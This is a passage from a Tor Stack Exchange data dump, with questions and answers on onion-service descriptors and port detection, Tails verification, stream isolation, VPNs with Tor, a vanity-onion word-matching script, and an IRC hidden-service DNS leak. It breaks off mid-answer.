  <row Id="12260" PostTypeId="1" AcceptedAnswerId="12261" CreationDate="2016-07-30T16:40:01.983" Score="3" ViewCount="644" Body="&lt;p&gt;Say I've started a hidden service and forwarded ports 80 and 22 in /etc/tor/torrc. Without querying port 22, is it logistically possible to assess my hidden service and establish that port 22 is open?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, would it be possible to retrieve the raw hidden service descriptor from an the distributed hash table and extract port information from it? How?&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2016-07-30T19:12:01.253" Title="Can a hidden service's open ports be detected?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12261" PostTypeId="2" ParentId="12260" CreationDate="2016-07-30T19:12:01.253" Score="2" Body="&lt;p&gt;No, it cannot be detected without actually trying to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The descriptor can easily be retrieved but it does &lt;em&gt;not&lt;/em&gt; contain port information. You can see the details of the descriptor content in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n222&quot; rel=&quot;nofollow&quot;&gt;specification for the rendezvous protocol&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is even a mechanism to frustrate attempts to bruteforce, which is enabled by default.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  HiddenServiceAllowUnknownPorts 0|1&#xA;       If set to 1, then connections to unrecognized ports do not cause the current hidden service to close rendezvous circuits. (Setting this&#xA;       to 0 is not an authorization mechanism; it is instead meant to be a mild inconvenience to port-scanners.) (Default: 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If someone tries to connect to a port that isn't &quot;open&quot;, the whole rendezvous circuit is dropped and they have to rebuild one for each unsuccessful guess.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-30T19:12:01.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12262" PostTypeId="2" ParentId="12258" CreationDate="2016-07-31T02:13:03.023" Score="1" Body="&lt;p&gt;Depending on how the USB was created, you may be able to checksum the raw data that was written and verify it is the same as the expected ISO from a different computer or operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think Windows currently creates the USB in this way but if it was created using the &lt;code&gt;dd&lt;/code&gt; utility from linux, for example, you'd be able to check the written data matches the signed ISO. However, there is no way to verify this from a compromised system. That is a chicken and egg problem, any tools you run could be tampered with on the compromised system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best heuristic method for this is to gain multiple, independent positions of observation. If you download and verify the ISO, then write it to the raw block device (e.g. using &lt;code&gt;dd&lt;/code&gt; on Linux or UNIX) then verify the written data against the expected signature on some set of available and distinct computer systems, and they all agree that the written data and signature are a match then you're probably about as safe to proceed as you could realistically expect, at least as a non-expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are limitations on what Tails could protect against, certain types of compromised system will never be safe to run Tails on even if the installation of Tails itself was not tampered with, please read the &lt;a href=&quot;https://tails.boum.org/doc/about/warning/&quot; rel=&quot;nofollow&quot;&gt;Tails warning page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-31T02:13:03.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12263" PostTypeId="1" CreationDate="2016-07-31T03:16:32.587" Score="0" ViewCount="148" Body="&lt;p&gt;Sorry for the vague question in the title. I wanted to get to the point without loading up the title with unnecessary information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially what I'm trying to ask is 2 questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Logistically, how can I retrieve and analyze the hidden service descriptor of an onion with a standard Linux box? Is there a script of some sort?&lt;/li&gt;&#xA;&lt;li&gt;How can I use a tool (similar to OpenSSL's s_client) to extract the public key from an onion for experimental use?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd like to note that I've attempted using proxychains to route OpenSSL's s_client through Tor, but I should've assumed that an Onion Service doesn't speak SSL.&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2021-12-21T15:04:20.373" Title="How can I learn more about the technical information about an onion service? (details in the body)" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12264" PostTypeId="2" ParentId="12263" CreationDate="2016-07-31T06:04:46.497" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Fetch a descriptor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n1392&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;HSFETCH&lt;/code&gt;&lt;/a&gt; is a tor control port command that can fetch a descriptor for a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Stem python library has functionality to do this, it's documented in the &lt;a href=&quot;https://stem.torproject.org/tutorials/over_the_river.html#hidden-service-descriptors&quot; rel=&quot;nofollow&quot;&gt;Hidden Service tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;The public key is part of the descriptor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n284&quot; rel=&quot;nofollow&quot;&gt;documented in the tor rendezvous protocol specificiation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-31T06:04:46.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12265" PostTypeId="1" CreationDate="2016-07-31T09:37:16.950" Score="1" ViewCount="765" Body="&lt;p&gt;Hi I want to bridge WiFi to Ethernet but I want to do it more anonymous. So how can I do it with the tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way I want to use Linux for doing that. So please don't send me Windows Programms. It would be very nice if I could do it with the Raspberry Pi.&lt;/p&gt;&#xA;" OwnerUserId="13827" LastActivityDate="2017-07-26T16:48:09.497" Title="How can I bridge Wlan to Ethernet through tor?" Tags="|security|linux|bridge|torsocks|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12266" PostTypeId="2" ParentId="12265" CreationDate="2016-07-31T10:17:53.320" Score="1" Body="&lt;p&gt;There is &lt;a href=&quot;https://github.com/grugq/PORTALofPi/blob/master/build.sh&quot; rel=&quot;nofollow&quot;&gt;PORTAL of Pi&lt;/a&gt; which bridges ethernet to wireless on an RPi, intended for use with Arch Linux ARM, there is also &lt;a href=&quot;https://github.com/compoterhacker/PORTALofRaspian&quot; rel=&quot;nofollow&quot;&gt;PORTAL of Raspbian&lt;/a&gt; which is the same, except ported to the Raspbian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be aware that there are &lt;a href=&quot;https://github.com/epidemics-scepticism/tor-misconception/blob/master/README.md#transparent-proxy-and-tor-router&quot; rel=&quot;nofollow&quot;&gt;serious security issues&lt;/a&gt; associated with these kinds of device, especially if the client device is connecting &lt;em&gt;to&lt;/em&gt; it over wireless, and not ethernet.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-31T10:17:53.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12268" PostTypeId="1" CreationDate="2016-07-31T14:43:36.383" Score="2" ViewCount="1601" Body="&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Stream_Isolation&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Stream_Isolation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to use IsolateDestAddr and IsolateDestPort with my Liferea RSS SOCKSPort? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, is it okay to apply these isolations to SOCKSPorts? (eg proxychains, midori, torsocks, apt updates)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like a great feature. But it's not on by default so I'm not sure if it'll cause a major performance hit or make my traffic more identifiable. I would like each feed to have a unique route through the tor network. I have over 100 feeds. It just seems traffic would be easier to track if I fetch the same 100 feeds every few hours (or even every day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="13828" LastActivityDate="2017-02-27T14:58:29.137" Title="IsolateDestAddr and IsolateDestPort usage?" Tags="|stream-isolation|isolation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12269" PostTypeId="1" CreationDate="2016-07-31T15:20:45.250" Score="0" ViewCount="109" Body="&lt;p&gt;If a firewall is a good idea, where/how do i need to set up a firewall? (Sorry i'm not tech-savvy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i noticed firefox has an addon for preventing webrtc ip leaks.&#xA;Can that be used with tor?&lt;/p&gt;&#xA;" OwnerUserId="13829" LastEditorUserId="13829" LastEditDate="2016-07-31T19:43:54.410" LastActivityDate="2016-09-01T15:37:23.173" Title="How do I enable plugins so I can use Tor to see sites that require plugins, and how do i prevent IP leak?" Tags="|plugin|add-on|firewall|" AnswerCount="1" CommentCount="3" ClosedDate="2016-09-05T20:10:32.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="12271" PostTypeId="2" ParentId="12268" CreationDate="2016-07-31T23:23:45.923" Score="2" Body="&lt;p&gt;&quot;it'll cause a major performance hit&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it'll build far more circuits than are necesary and won't fix isolation problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;make my traffic more identifiable&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll certainly have non-standard traffic patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An adversary could also try to intentionally cause denial-of-service conditions by, for example making you attempt to build a circuit to every port on a whole range of IPs, making you try to build tens of thousands of circuits and potentially causing denial of service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An adversary could try to force you, on one circuit, to reuse another circuit. Assuming they suspect you're fetching both X and Y, at distinct IP:Port, and they have the ability to tamper with data on X or Y. They could inject an http redirect to force you to re-use the circuit used for X or Y with some tag that links the two together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution isn't even a very good one, if you don't want all those feeds to be linked to a single identity, you'll need a better approach than sticking them all into a single client and trying to use some kind of contextless isolation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your uptime and the fetching of the set of feeds on the same schedule, you'll come back every N seconds and refetch the feed content. The size and offset of N will likely link your refetches together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you'd be better to try setting up a service that serves the news feeds locally, which you point your RSS reader at, which it itself pulls feeds in using a &lt;a href=&quot;https://github.com/EtiennePerot/parcimonie.sh&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Parcimonie&lt;/code&gt;&lt;/a&gt;-like system to preserve privacy, unlinkability and anonymity.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-01T01:23:41.387" LastActivityDate="2016-08-01T01:23:41.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12272" PostTypeId="1" CreationDate="2016-08-01T00:26:53.120" Score="1" ViewCount="1564" Body="&lt;p&gt;This is a follow up question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/12268/isolatedestaddr-and-isolatedestport-usage&quot;&gt;IsolateDestAddr and IsolateDestPort usage?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RSS desktop clients over tor are bad for anonymity. Very bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested in following my favorite websites in a centralized way either(Feedly, Inoreader). DIY options like TinyRSS are no different than RSS desktop clients; all the data is fetched over the same IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the solution? What's the most anonymous way to follow multiple websites? Checking each site individually seems painful.&lt;/p&gt;&#xA;" OwnerUserId="13833" LastEditorUserId="13833" LastEditDate="2016-08-01T00:43:39.900" LastActivityDate="2017-02-28T12:11:42.180" Title="How to following websites (RSS) anonymously?" Tags="|configuration|network-configuration|stream-isolation|isolation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12274" PostTypeId="2" ParentId="11796" CreationDate="2016-08-01T03:24:29.573" Score="1" Body="&lt;h3&gt;&lt;a href=&quot;https://github.com/epidemics-scepticism/tor-misconception/blob/master/README.md#vpns&quot; rel=&quot;nofollow noreferrer&quot;&gt;VPNs are &lt;em&gt;terrible&lt;/em&gt; from an anonymity perspective&lt;/a&gt;.&lt;/h3&gt;&#xA;&lt;p&gt;This is my own write-up on the issue, I'm going to address a few specific points of your question too since they are badthink that needs to be purged with fire^Wfacts.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Trusted VPNs&amp;quot;.&lt;/h3&gt;&#xA;&lt;p&gt;In information security &amp;quot;Trusted&amp;quot; is bad. Trusted means that you &lt;em&gt;have&lt;/em&gt; to trust it, it doesn't mean that it is trusty&lt;em&gt;worthy&lt;/em&gt;. It means that it acts a point of failure, a gamble, since you've no good reason to trust it and it is turns out you were wrong, you lose.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Tor provides functionality to 'anonymize' packet header information&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;This is technically incorrect, Tor does not &amp;quot;anonymize&amp;quot; packet header information, it is simply  never transmitted, only the datastream is transmitted.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;the Tor [...] network [...] does not address packet payload encryption/authentication&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;False. The Tor network uses encrypted, authenticated cells, which may have multiple layers of authenticated encryption applied depending on which part of a circuit they are being sent to, they are also transmitted inside encrypted, authenticated TLS connections between relays inside the network. This claim is entirely bizarre and suggests that your &amp;quot;deep digging&amp;quot; didn't go much beyond the overview page. The data that reaches the exit node cannot be tampered with while within the network, after it &lt;em&gt;leaves&lt;/em&gt; the network it can be tampered with, but as you yourself point out this is &lt;em&gt;exactly&lt;/em&gt; the same with a VPN.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;[... Spurious bullshit about crypto-magic that you don't understand ...]&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No network (VPN, Tor, whatever else) can make claims for data &lt;em&gt;once it has left that network&lt;/em&gt;. It &lt;em&gt;must&lt;/em&gt; be the responsibility of the application which is sending and receiving the data that will leave the network to ensure that it is receives appropriate levels of encryption to ensure confidentiality, integrity and authenticity. There is no alternative.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;My client requires me to get their prior approval before 'publishing' such ideas&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;If you really do have clients, you should consider providing them a refund and an apology. You really have no idea what you're talking about and, to be frank, you're harming the integrity of the information security industry.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-08-01T08:45:55.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12275" PostTypeId="2" ParentId="7437" CreationDate="2016-08-01T06:15:56.383" Score="-1" Body="&lt;p&gt;I asked a similar question several hours ago &lt;a href=&quot;https://tor.stackexchange.com/questions/12273/running-realay-on-windows-10-pro-x64&quot;&gt;Windows 10pro x64&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first reply gave me the link to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for the Vidalia package which is supposed to be OK for Windows 10 including Tor Browser as part of that package, located it at; &lt;a href=&quot;http://vidalia-bundle.en.lo4d.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vidalia Bundle 0.2.4.23&lt;/a&gt;and D/L and installed i an hour ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it is working, and I am connected to Tor, it appears that &quot;Your Tor version needs updating&quot;, which conflicts somewhat as the Vidalia package has not been updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that the Tor Community is hopefully upgrading Tor for Win10 x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unsure this will assist, I keep getting an error message to &quot;check Firewall, Hosts, Address, Ports etc - Although I am actually connected to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps someone has a better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*Edited&lt;/strong&gt;: It's some 20 hours later, and the Vidalia suite as listed above is working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No error messages at all, fully connected and functioning as selected: &quot;Relay traffic for the Tor network (Exit Relay)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does seem that the Vidalia/Tor Software software takes quite some time to test all Ports etc, until a stable setup is automatically found, at which point the software 'Locks in' and the advisory messages tell the user it is all OK as a Relay now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need assistance, just send me a message.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with the above Vidalia Suite, the version of Tor is &quot;Out of date&quot;, but hopefully there will be an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers :-))&lt;/p&gt;&#xA;" OwnerUserId="13832" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-08-02T02:45:23.223" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12276" PostTypeId="1" CreationDate="2016-08-01T10:45:18.963" Score="0" ViewCount="307" Body="&lt;p&gt;Ive got the Tor browser. Am I more or less secure if I also use VPN software? I will only be visiting HTTPS secured sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.privateinternetaccess.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.privateinternetaccess.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive been reading posts talking about different types of VPNs however all Im able to do is install software on my laptop. &lt;/p&gt;&#xA;" OwnerUserId="13838" LastActivityDate="2016-08-01T13:53:40.977" Title="VPN software with Tor?" Tags="|vpn|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12277" PostTypeId="2" ParentId="4221" CreationDate="2016-08-01T13:43:15.167" Score="2" Body="&lt;p&gt;No, you don't need to upgrade your system by typing sudo apt(-get) upgrade but use the auto update (every 6 weeks) from the Tails Upgrader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;see faq of tails: &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index10h2&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/support/faq/index.en.html#index10h2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and search for: Should I update Tails using apt-get or Synaptic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="13840" LastActivityDate="2016-08-01T13:43:15.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12278" PostTypeId="2" ParentId="12276" CreationDate="2016-08-01T13:53:40.977" Score="2" Body="&lt;p&gt;VPN is not secure to use with tor: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;VPN are not anonymity networks, because the administrators of the VPN&#xA;  can know both where you are connecting from and where you are&#xA;  connecting to. Tor provides anonymity by making it impossible for a&#xA;  single point in the network to know both the origin and the&#xA;  destination of a connection.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Info come from FAQ of Tails using tor: &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index21h2&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/support/faq/index.en.html#index21h2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="13840" LastActivityDate="2016-08-01T13:53:40.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12279" PostTypeId="1" AcceptedAnswerId="12281" CreationDate="2016-08-01T16:59:38.837" Score="2" ViewCount="3428" Body="&lt;p&gt;I host my own irc server, but I would like to serve it using tor hidden service, I already have a tor .onion site using vbox, and it is not the same approach to setup for an irc server, at least it is not working to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read already tons of docs and nothing get to the point, I just need a simple setup and bit by bit I will build a better security, but I need to get it basically functioning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the irc server already set locally and it works fine, but I have no idea how to put this behind tor hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I have no hostname and no fixed IP address, but it seems not to be a problem, since I connect using my local IP address. Example: 192.168.1.2:6697&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have so far in my &lt;code&gt;torrc&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#HiddenServiceDir /home/&amp;lt;user&amp;gt;/hidden_service/&#xA;#HiddenServicePort 9050 127.0.0.1:9050 # I use as a proxy with firefox sometimmes&#xA;&#xA;HiddenServiceDir /home/&amp;lt;user&amp;gt;/irc_hidden_service/&#xA;HiddenServicePort 6667 127.0.0.1:6667&#xA;HiddenServicePort 6697 127.0.0.1:6697 # I have SSL (openssl) installed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some errors:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Looking up 2lqozw5sy566nuts.onion&#xA;* Looking up 192.168.1.2&#xA;* Connecting to 192.168.1.2 (192.168.1.2:6697)&#xA;SOCKS Read error from server.&#xA; Proxy traversal failed.&#xA;* Stopped previous connection attempt (1814)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use as reference the following docs but I'm looking to something more simple and practical:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-hidden-service.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#CellSize&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#CellSize&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freehaven.net/anonbib/topic.html#Tor_20Performance&quot; rel=&quot;nofollow&quot;&gt;http://freehaven.net/anonbib/topic.html#Tor_20Performance&lt;/a&gt; (lots of reading)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&#xA;I'm using Tor&gt;=2.3.x&lt;/p&gt;&#xA;" OwnerUserId="13841" LastEditorUserId="13841" LastEditDate="2016-08-03T03:23:39.277" LastActivityDate="2016-08-03T03:23:39.277" Title="IRC Server behind a tor hidden service?" Tags="|configuration|torsocks|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12280" PostTypeId="2" ParentId="12210" CreationDate="2016-08-01T19:10:14.747" Score="0" Body="&lt;p&gt;Part 1: Get all the Onion addresses:  (powershell)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$files = get-childitem c:\dev -filter &quot;*.txt&quot;&#xA;&#xA;foreach ($file in $files)&#xA;{&#xA;    $data =  Select-String -Pattern &quot;&amp;lt;Hash&amp;gt;&quot; -Path c:\dev\$file&#xA;&#xA;   foreach ($lineMatch in $data)&#xA;   {&#xA;        $lineSource = $lineMatch.ToString()&#xA;        $lineSource2 =  $lineSource.Replace(&quot;.onion&amp;lt;/Hash&amp;gt;&quot;,&quot;&quot;)&#xA;        $lineSource3 = $lineSource2.Replace(&quot;&amp;lt;Hash&amp;gt;&quot;,&quot;&quot;)&#xA;&#xA;   $lineSource3 | add-content &quot;found.dat&quot;&#xA;&#xA;   } &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Part2: Iterate through the dictionary against each string. Performance boost by doing this in parallel. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Quick hack - pardon the poor coding practices.  &#xA;using System;&#xA;using System.Collections.Generic;&#xA;using System.IO;&#xA;using System.Linq;&#xA;using System.Text;&#xA;using System.Threading.Tasks;&#xA;&#xA;namespace ConsoleApplication2&#xA;{&#xA;    class Program&#xA;    {&#xA;        static object lockObject = new object();&#xA;        static System.Collections.Concurrent.ConcurrentDictionary&amp;lt;string, List&amp;lt;string&amp;gt;&amp;gt; WordsDict = new System.Collections.Concurrent.ConcurrentDictionary&amp;lt;string, List&amp;lt;string&amp;gt;&amp;gt;();&#xA;&#xA;        static void Main(string[] args)&#xA;        {&#xA;&#xA;            var count = 0;&#xA;&#xA;            using (StreamReader sr = File.OpenText(&quot;c:\\words.txt&quot;))&#xA;            {&#xA;                string s = String.Empty;&#xA;                while ((s = sr.ReadLine()) != null)&#xA;                {&#xA;                    count++;&#xA;                }&#xA;            }&#xA;&#xA;            //the dictionary chars/strings to look for. We use both because we're testing some string methods too.&#xA;            string[] sf = new string[count];&#xA;&#xA;            int line = 0;&#xA;            using (StreamReader sr = File.OpenText(&quot;c:\\words.txt&quot;))&#xA;            {&#xA;                string s = String.Empty;&#xA;                while ((s = sr.ReadLine()) != null)&#xA;                {&#xA;                    sf[line] = s;&#xA;                    line++;&#xA;                }&#xA;            }&#xA;&#xA;&#xA;            count = 0;&#xA;            using (StreamReader sr = File.OpenText(&quot;c:\\agent77\\scallionOutput.txt&quot;))&#xA;            {&#xA;                string s = String.Empty;&#xA;                while ((s = sr.ReadLine()) != null)&#xA;                {&#xA;                    count++;&#xA;                }&#xA;            }&#xA;            string[] ss = new string[count];&#xA;&#xA;            line = 0;&#xA;            using (StreamReader sr = File.OpenText(&quot;c:\\agent77\\scallionOutput.txt&quot;))&#xA;            {&#xA;                string s = String.Empty;&#xA;                while ((s = sr.ReadLine()) != null)&#xA;                {&#xA;                    ss[line] = s;&#xA;                    line++;&#xA;                }&#xA;            }&#xA;&#xA;            //the strings to search (line xount in &amp;lt;onion&amp;gt;)&#xA;&#xA;&#xA;            Parallel.For(0, ss.Length,&#xA;            () =&amp;gt; 0,&#xA;            (x, loopState, subtotal) =&amp;gt;&#xA;            { &#xA;                for (int y = 0; y &amp;lt; sf.Length; y++)&#xA;                {&#xA;                    if (sf[y].Length == 0 || sf[y].Length &amp;lt; 3)&#xA;                        continue;&#xA;&#xA;                    var tt=  ((ss[x].Length - ss[x].Replace(sf[y], String.Empty).Length) / sf[y].Length &amp;gt; 0 ? 1 : 0);&#xA;                    subtotal += tt;&#xA;&#xA;                    if (tt !=0)&#xA;                    {&#xA;                        Console.WriteLine(sf[y]);&#xA;&#xA;                        List&amp;lt;string&amp;gt; wordsMatch = new List&amp;lt;string&amp;gt;();&#xA;                        wordsMatch.Add(sf[y]);&#xA;&#xA;                        WordsDict.AddOrUpdate(ss[x], wordsMatch, (a, b) =&amp;gt;&#xA;                        {&#xA;                            b.AddRange(wordsMatch);&#xA;                            return b;&#xA;                        });&#xA;                    }&#xA;&#xA;                }&#xA;                return subtotal;&#xA;            },&#xA;            (s) =&amp;gt;&#xA;            { &#xA;&#xA;                lock (lockObject)&#xA;                {&#xA;                    //Console.WriteLine();&#xA;                }&#xA;            }&#xA;        );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="247" LastEditorUserId="247" LastEditDate="2016-08-02T00:25:26.343" LastActivityDate="2016-08-02T00:25:26.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12281" PostTypeId="2" ParentId="12279" CreationDate="2016-08-01T19:38:51.607" Score="2" Body="&lt;p&gt;This is unrelated to the onion service, there is a problem with your client configuration. It is not properly using SOCKS5/SOCKS4a's remote hostname functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that you're resolving the &quot;.onion&quot; address, then connecting to the resolved IP over SOCKS5 (a classic &quot;DNS leak&quot;). Normally this should result in some kind of &lt;code&gt;NXDOMAIN&lt;/code&gt; resolve failure but for some reason your DNS is resolving it, I assume it's set it &lt;code&gt;/etc/hosts&lt;/code&gt; or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should do two things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to catch the DNS request with Tor, Tor will map the .onion to a &quot;cookie&quot; IP address. To perform resolves over Tor, you'd need to setup a DNS port for Tor. To di this set &lt;code&gt;DNSPort 53&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; and set your &lt;code&gt;/etc/resolv.conf&lt;/code&gt; file to contain &lt;code&gt;nameserver 127.0.0.1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second you need to set &lt;code&gt;AutomapHostsOnResolve 1&lt;/code&gt; in your clients &lt;code&gt;torrc&lt;/code&gt;, this is the option that will translate .onion to a &quot;cookie&quot; IP. Then any requests to connect to the &quot;cookie&quot; IP over SOCKS will be translated back to a connection to the appropriate .onion address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Or&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use an IRC client that does SOCKS properly from the start. I'm not 